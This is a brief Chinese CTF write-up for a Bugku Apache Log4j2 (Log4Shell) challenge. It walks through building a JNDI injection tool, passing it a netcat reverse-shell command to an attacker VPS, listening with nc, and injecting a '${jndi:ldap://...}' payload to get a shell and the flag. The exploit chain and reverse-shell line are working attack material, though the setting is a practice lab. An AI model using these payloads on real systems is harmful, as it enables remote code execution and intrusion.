1.bugku---Apache Log4j2 RCE
1.1 打开题目
注意:描述中的命令后面跟的×说明不支持这个命令,√则代表可以使用
1.2 构建一个JNDI服务
Github: https://github.com/welk1n/JNDI-Injection-Exploit
1.2.1 构建
1.cd JNDI-Injection-Exploit
2.mvn clean package -DskipTests
3.java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "命令" -A "VPS_IP"
1.3 运行JNDI服务
java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "nc [vps_ip] [vps_port] -e /bin/sh" -A [vps_ip]
vps_ip : 你的服务器ip
vps_port : 监听的端口,用来接收反弹的shell
1.3.1payload
payload构造不需要经过base64编码,直接用nc xxx.xxx.xxx.xxx port -e /bin/sh即可,把-e /bin/sh放在最后面,题目描述中的×说明了不能使用,但是可以使用/bin/sh
1.4 启动一个nc监听
nc -lvp 1234
1.5 ATTACK
选择下图中任意一条"JNDI Links"(即粉红色字体的url)
${jndi:[攻击payload]}
比如: ${jndi:ldap://xxx.xxx.xxx.xxx:1389/zlfd1h}
1.6 反弹shell
获取flag
submit flag
更多log4j的漏洞信息见 :http://vfree.ltd/index.php/archives/379.html
更多文章见个人博客: http://vfree.ltd/
博主自建ctf平台:http://ctf.vfree.ltd/